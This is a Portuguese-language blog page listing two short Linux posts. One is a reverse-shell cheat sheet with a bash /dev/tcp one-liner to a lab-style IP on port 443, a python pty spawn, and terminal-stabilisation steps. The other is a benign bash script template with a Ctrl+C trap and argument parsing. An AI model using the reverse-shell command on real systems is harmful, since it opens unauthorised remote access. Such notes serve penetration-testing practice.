Mostrando postagens com marcador linux. Mostrar todas as postagens
Mostrando postagens com marcador linux. Mostrar todas as postagens

2022-06-21

reverse shell

 

## reverse shell
bash -c "bash -i >& /dev/tcp/10.10.14.20/443 0>&1"

## reverse shell com python interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'

## estabilizar o terminal
CTRL+Z
stty raw -echo; fg
reset xterm
echo TERM=xterm
echo SHELL=bash


2022-06-20

ctrl + c shell linux

#!/bin/bash

function ctrl_c() {
echo -e "\n[!] Exiting...\n"
exit 1
}
# Ctrl+C
trap ctrl_c INT

function help() {
echo -e "[+] Use:\n"
echo -e "\t-f [filename]"
echo -e "\t-h help"
exit 1
}

function my_function() {
sleep 5
echo $filename
}

parameter_counter=0; while getopts ":f:h" args; do
case $args in
f) filename=$OPTARG && let parameter_counter+=1;;
h) help;;
esac
done

if [ $parameter_counter -ne 1 ]; then
help
else
my_function
fi